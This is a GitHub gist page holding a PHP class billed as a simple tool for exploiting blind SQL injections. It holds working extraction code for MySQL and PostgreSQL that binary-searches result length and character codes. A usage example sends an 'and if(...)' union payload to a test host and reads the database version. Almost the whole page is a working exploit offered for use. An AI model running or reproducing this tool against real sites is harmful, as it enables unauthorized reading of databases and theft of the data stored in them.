Skip to content

Instantly share code, notes, and snippets.

@YDyachenko
Last active December 9, 2020 23:03
Show Gist options
  • Save YDyachenko/8123413 to your computer and use it in GitHub Desktop.
Save YDyachenko/8123413 to your computer and use it in GitHub Desktop.
Simple tool for exploiting blind sql-injections
<?php
class BlindSqlInjection
{
protected $testFunction;
protected $requestsCount = 0;
protected $firstChr;
protected $lastChr;
protected $adapter;
protected $allowedAdapters = array('postgresql', 'mysql');
public function __construct($adapter = 'mysql', $first = 32, $last = 126)
{
$adapter = strtolower((string) $adapter);
$this->checkAdapter($adapter);
$this->adapter = $adapter;
$this->firstChr = $first;
$this->lastChr = $last;
}
protected function checkAdapter($adapter)
{
if (!in_array($adapter, $this->allowedAdapters, TRUE))
throw new \InvalidArgumentException('Unknown DB adapter');
}
public function setTestFunction(Closure $function)
{
$this->testFunction = $function;
return $this;
}
public function getRequestCount()
{
return $this->requestsCount;
}
public function execute($query)
{
switch ($this->adapter) {
case 'mysql':
$query = "IFNULL(($query),'')";
break;
case 'postgresql':
$query = "COALESCE(($query),'')";
break;
}
$length = $this->getResponseLength($query);
if (!$length)
return;
for ($n = 1; $n <= $length; $n++) {
$result = $this->getResponse($query, $n);
if ($result === false)
return;
echo $result;
}
}
public function getResponseLength($query, $last = 100)
{
$first = 0;
while ($first < $last) {
$middle = floor($first + ($last - $first) / 2);
if ($this->test("length($query)<=$middle"))
$last = $middle;
else
$first = $middle + 1;
}
return $last;
}
public function getResponse($query, $n)
{
$first = $this->firstChr;
$last = $this->lastChr;
while ($first < $last) {
$middle = floor($first + ($last - $first) / 2);
if ($this->test("ascii(substring($query,$n,1))<=$middle"))
$last = $middle;
else
$first = $middle + 1;
}
return chr($last);
}
protected function test($condition)
{
$this->requestsCount++;
return $this->testFunction->__invoke($condition);
}
}
$tool = new BlindSqlInjection('mysql');
$tool->setTestFunction(function ($condition) {
$payload = '1 and if(' . $condition . ', 1, (select 1 union select 2))-- ';
$result = file_get_contents('http://test.loc/test.php?id=' . urlencode($payload));
return (bool) $result;
});
$tool->execute("SELECT version()");
echo PHP_EOL;
echo PHP_EOL . "Requests: " . $tool->getRequestCount() . PHP_EOL;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment